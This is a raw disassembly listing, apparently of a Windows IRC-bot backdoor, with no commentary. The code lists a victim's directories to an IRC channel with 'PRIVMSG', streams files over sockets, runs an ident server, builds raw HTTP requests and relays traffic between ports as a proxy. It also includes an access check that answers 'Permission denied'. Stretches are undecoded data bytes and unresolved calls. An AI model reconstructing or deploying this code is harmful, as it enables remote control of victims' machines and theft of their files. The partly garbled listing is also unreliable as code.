aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 0Ch jmp short loc_40FAC8 ; --------------------------------------------------------------------------- loc_40FAAE: ; CODE XREF: sub_40F96A+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj ; sub_40F96A+142j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 cmp [ebp+arg_C], ebx jz short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 cmp eax, 2 pop ecx jbe short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 sub eax, 3 pop ecx jz short loc_40FB14 loc_40FB08: ; CODE XREF: sub_40F96A+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB14 dec eax jnz short loc_40FB08 loc_40FB14: ; CODE XREF: sub_40F96A+19Cj ; sub_40F96A+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B5F0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 loc_40FB63: ; CODE XREF: sub_40F96A+180j ; sub_40F96A+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 25D0000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 2750346h test eax, eax jz loc_40FF53 mov edi, 1FFh loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j cmp [ebp+var_388], ebx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 2750000h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 2740918h mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40FC04 mov ecx, offset aAm ; "AM" loc_40FC04: ; CODE XREF: sub_40F96A+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC10 sub eax, 0Ch loc_40FC10: ; CODE XREF: sub_40F96A+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B886 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB3 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC84 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFC ; --------------------------------------------------------------------------- loc_40FC84: ; CODE XREF: sub_40F96A+2E0j cmp [ebp+arg_C], ebx jz loc_40FD6E push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FD24 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD29 ; --------------------------------------------------------------------------- loc_40FD24: ; CODE XREF: sub_40F96A+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD29: ; CODE XREF: sub_40F96A+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 14h jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF2 push ebx push [ebp+var_368] call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_40FDDE: ; CODE XREF: sub_40F96A+577j lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 1Ch jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj cmp [ebp+arg_C], ebx jz loc_40FEE6 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_4293F4 push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FE92 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE97 ; --------------------------------------------------------------------------- loc_40FE92: ; CODE XREF: sub_40F96A+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE97: ; CODE XREF: sub_40F96A+526j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDE ; --------------------------------------------------------------------------- loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFC: ; CODE XREF: sub_40F96A+315j push esi loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 18h loc_40FF0C: ; CODE XREF: sub_40F96A+444j ; sub_40F96A+483j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 cmp [ebp+arg_8], ebx jz short loc_40FF3B push 7D0h nop call near ptr 2660D05h loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj ; sub_40F96A+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 2750346h test eax, eax jnz loc_40FB8F loc_40FF53: ; CODE XREF: sub_40F96A+21Aj push [ebp+arg_0] nop call near ptr 2740000h cmp [ebp+arg_8], ebx jz short loc_40FF96 mov eax, [ebp+var_8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B886 add esp, 14h jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FF96: ; CODE XREF: sub_40F96A+5F5j cmp [ebp+arg_C], ebx jz short loc_40FFB0 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B886 pop ecx pop ecx jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B886 add esp, 10h loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj ; sub_40F96A+644j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 26F09A7h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A8 push esi push ebx nop call near ptr 2730B98h cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A1 loc_410035: ; CODE XREF: sub_40FFF0+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B590 add esp, 0Ch cmp edi, [ebp+arg_4] loc_41004D: ; DATA XREF: ___:00437A68o ; ___:00437A7Co jbe short loc_410052 mov edi, [ebp+arg_4] loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 2760000h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 26F0000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz short loc_41009C call dword_4CAF38 cmp eax, 2733h jnz short loc_4100A1 xor eax, eax loc_41009C: ; CODE XREF: sub_40FFF0+9Bj sub [ebp+arg_4], eax jnz short loc_410035 loc_4100A1: ; CODE XREF: sub_40FFF0+43j ; sub_40FFF0+A8j push ebx nop call near ptr 26508C8h loc_4100A8: ; CODE XREF: sub_40FFF0+30j pop edi pop esi pop ebx leave retn sub_40FFF0 endp ; =============== S U B R O U T I N E ======================================= sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AFE0 test eax, eax pop ecx jbe short loc_4100D6 loc_4100C0: ; CODE XREF: sub_4100AD+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CA mov byte ptr [esi+edi], 2Fh loc_4100CA: ; CODE XREF: sub_4100AD+17j push edi inc esi call sub_41AFE0 cmp esi, eax pop ecx jb short loc_4100C0 loc_4100D6: ; CODE XREF: sub_4100AD+11j mov eax, edi pop edi pop esi retn sub_4100AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CAF14 push 6 push 1 push 2 call dword_4CB024 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CAFA4 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAF9 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CAF4C cmp eax, 0FFFFFFFFh jz short loc_4101B8 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410154 mov eax, offset dword_43D158 loc_410154: ; CODE XREF: sub_4100DB+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CAFF4 push esi lea eax, [ebp+var_110] push edi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CAFBC pop esi loc_4101B8: ; CODE XREF: sub_4100DB+6Bj push ebx call dword_4CB03C call dword_4CAEFC lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41B886 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4101F8 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_4101F8: ; CODE XREF: sub_4100DB+102j pop edi pop ebx leave retn sub_4100DB endp ; --------------------------------------------------------------------------- loc_4101FC: ; DATA XREF: ___:00401666o ; sub_401ACD+4369o push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41B590 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CAFA4 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CB024 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410360 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43DEEC[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CAFD0 cmp eax, 0FFFFFFFFh jz loc_410360 push 5 push ebx call dword_4CAFCC cmp eax, 0FFFFFFFFh jz loc_410360 mov [ebp-0Ch], edi mov edi, 200h loc_410287: ; CODE XREF: ___:004102E6j ; ___:00410349j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CB038 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_41035B movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CB030 push eax lea eax, [ebp-238h] push offset dword_433FCC push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CAFBC cmp eax, 0FFFFFFFFh jz short loc_410287 lea eax, [ebp-238h] push esi push eax call sub_417F7F push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41B590 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40B08D add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jz loc_410287 mov dword ptr [ebp-8], 1 jmp loc_410287 ; --------------------------------------------------------------------------- loc_41035B: ; CODE XREF: ___:0041029Cj cmp [ebp-8], esi jnz short loc_410387 loc_410360: ; CODE XREF: ___:00410243j ; ___:00410267j ... call dword_4CAF38 push eax lea eax, [ebp-238h] push offset dword_433F88 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 10h loc_410387: ; CODE XREF: ___:0041035Ej push ebx call dword_4CB03C push dword ptr [ebp-4] call dword_4CB03C push dword ptr [ebp+8] call sub_40B412 pop ecx push esi call near ptr 26D0000h nop pop edi pop esi pop ebx loc_4103AA: ; DATA XREF: sub_401ACD+613Bo push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CAFA4 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CB024 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410516 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43DEEC[ecx], eax call dword_4CAEB4 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CAFD0 test eax, eax jnz loc_410516 push 0Ah push dword ptr [ebp+8] call dword_4CAFCC test eax, eax jnz loc_410516 loc_41045A: ; CODE XREF: ___:00410470j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CB038 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045A movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CB030 push eax lea eax, [ebp-350h] push offset unk_434034 push eax call sub_41B886 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B0F6 mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43DEE4[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_41053B push esi push esi nop ; --------------------------------------------------------------------------- dw 0ABE8h dd 8B022508h, 0C969C44Dh, 234h, 8189C63Bh, 43DEF4h, 75391374h dd 63850FD0h, 6AFFFFFFh, 6E89032h, 0EB022508h, 45E890EDh dd 50022601h, 433FF868h, 4D0EE800h, 59590000h ; --------------------------------------------------------------------------- jmp short loc_410519 ; --------------------------------------------------------------------------- loc_410516: ; CODE XREF: ___:0041040Dj ; ___:00410441j ... mov edi, [ebp+8] loc_410519: ; CODE XREF: ___:00410514j push edi call dword_4CB03C push dword ptr [ebp+8] call dword_4CB03C push dword ptr [ebp-40h] call sub_40B412 pop ecx push esi nop call near ptr 26D0000h pop edi pop esi loc_41053B: ; DATA XREF: ___:004104CEo push ebp mov ebp, esp mov eax, 1344h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CB024 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4106F1 push 10h lea eax, [ebp-18h] push edi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CAFA4 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CAFE4 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4105CB lea eax, [ebp-13Ch] push eax call dword_4CB028 jmp short loc_4105D9 ; --------------------------------------------------------------------------- loc_4105CB: ; CODE XREF: ___:004105BAj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CAF5C loc_4105D9: ; CODE XREF: ___:004105C9j cmp eax, edi jz loc_4106F1 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CAF4C cmp eax, 0FFFFFFFFh jz loc_4106F1 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CB030 push eax lea eax, [ebp-344h] push offset unk_4340BC push eax call sub_41B886 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B0F6 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43DEEC[ebx] mov dword_43DEE4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43DEF0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_410722 push edi push edi call near ptr 2660D86h nop mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43DEF4[ecx], eax jz short loc_4106DE loc_41068B: ; CODE XREF: ___:00410698j cmp [ebp-20h], edi jnz short loc_41069A push 32h call near ptr 2660D05h nop jmp short loc_41068B ; --------------------------------------------------------------------------- loc_41069A: ; CODE XREF: ___:0041068Ej mov ebx, 1000h loc_41069F: ; CODE XREF: ___:004106DAj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CAFBC cmp eax, edi jle short loc_4106F1 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz short loc_41069F jmp short loc_4106F1 ; --------------------------------------------------------------------------- loc_4106DE: ; CODE XREF: ___:00410689j nop call near ptr 267064Ch push eax push offset unk_43407C call sub_415220 pop ecx pop ecx loc_4106F1: ; CODE XREF: ___:0041057Fj ; ___:004105DBj ... mov eax, [ebp-4] imul eax, 234h push dword_43DEEC[eax] call dword_4CB03C push dword ptr [ebp+8] call dword_4CB03C push dword ptr [ebp-4] call sub_40B412 pop ecx push edi nop call near ptr 26D0000h pop edi pop esi pop ebx loc_410722: ; DATA XREF: ___:0041066Bo push ebp mov ebp, esp mov eax, 1128h call sub_41BB20 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410759: ; CODE XREF: ___:0041079Ej push edi lea eax, [ebp-1128h] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43DEF0[esi] call dword_4CAFBC test eax, eax jle short loc_4107A0 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43DEEC[esi] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz short loc_410759 loc_4107A0: ; CODE XREF: ___:00410783j push dword_43DEF0[esi] call dword_4CB03C push dword ptr [ebp-14h] call sub_40B412 pop ecx push 0 ; --------------------------------------------------------------------------- db 0E8h dd 22BF844h db 90h ; --------------------------------------------------------------------------- pop edi pop esi push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43DEEC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CAF8C test eax, eax jnz short loc_410843 push dword ptr [esi] call dword_4CB03C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26D0000h loc_410843: ; CODE XREF: ___:00410829j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CAFBC lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4109C4 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CAEF8 test eax, eax jz short loc_4108BC call dword_4CAF38 push eax push offset unk_434194 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push edi call near ptr 26D0000h nop loc_4108BC: ; CODE XREF: ___:00410897j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CAF5C cmp eax, edi jnz short loc_4108E6 push dword ptr [ebp-18h] call dword_4CB030 push eax lea eax, [ebp-0B0h] push eax call sub_41B886 jmp short loc_4108F4 ; --------------------------------------------------------------------------- loc_4108E6: ; CODE XREF: ___:004108CCj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41BEB0 loc_4108F4: ; CODE XREF: ___:004108E4j pop ecx pop ecx push edi push ebx push offset dword_43D158 push dword ptr [esi] call dword_4CAFF4 cmp dword_4CDD08, edi jnz short loc_410956 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_410A1E add esp, 10h test eax, eax jnz short loc_410956 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CAFF4 push dword ptr [esi] call dword_4CB03C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26D0000h loc_410956: ; CODE XREF: ___:0041090Bj ; ___:0041092Cj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434158 call sub_415220 push dword ptr [ebp+8] call sub_410CD5 add esp, 10h test eax, eax jnz short loc_41099D call near ptr 267064Ch nop push eax push offset unk_43412C call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push ebx call near ptr 26D0000h nop loc_41099D: ; CODE XREF: ___:00410978j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434100 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 10h push edi nop call near ptr 26D0000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C4 proc near ; CODE XREF: ___:00410859p ; ___:00410866p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAFBC cmp eax, 1 jnz short loc_410A14 mov esi, [ebp+arg_4] loc_4109E2: ; CODE XREF: sub_4109C4+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A09 test al, al jz short loc_410A18 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAFBC cmp eax, 1 jz short loc_4109E2 jmp short loc_410A14 ; --------------------------------------------------------------------------- loc_410A09: ; CODE XREF: sub_4109C4+27j push offset unk_4341C0 call sub_415220 pop ecx loc_410A14: ; CODE XREF: sub_4109C4+19j ; sub_4109C4+43j xor eax, eax jmp short loc_410A1B ; --------------------------------------------------------------------------- loc_410A18: ; CODE XREF: sub_4109C4+2Bj push 1 pop eax loc_410A1B: ; CODE XREF: sub_4109C4+52j pop esi leave retn sub_4109C4 endp ; =============== S U B R O U T I N E ======================================= sub_410A1E proc near ; CODE XREF: ___:00410922p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_410A49 push [esp+arg_4] push [esp+4+arg_0] push offset dword_4341EC call sub_415220 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A49: ; CODE XREF: sub_410A1E+11j push 1 pop eax retn sub_410A1E endp ; --------------------------------------------------------------------------- byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 0FDECBD8Dh dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h dd 1415FF00h, 33004CAFh, 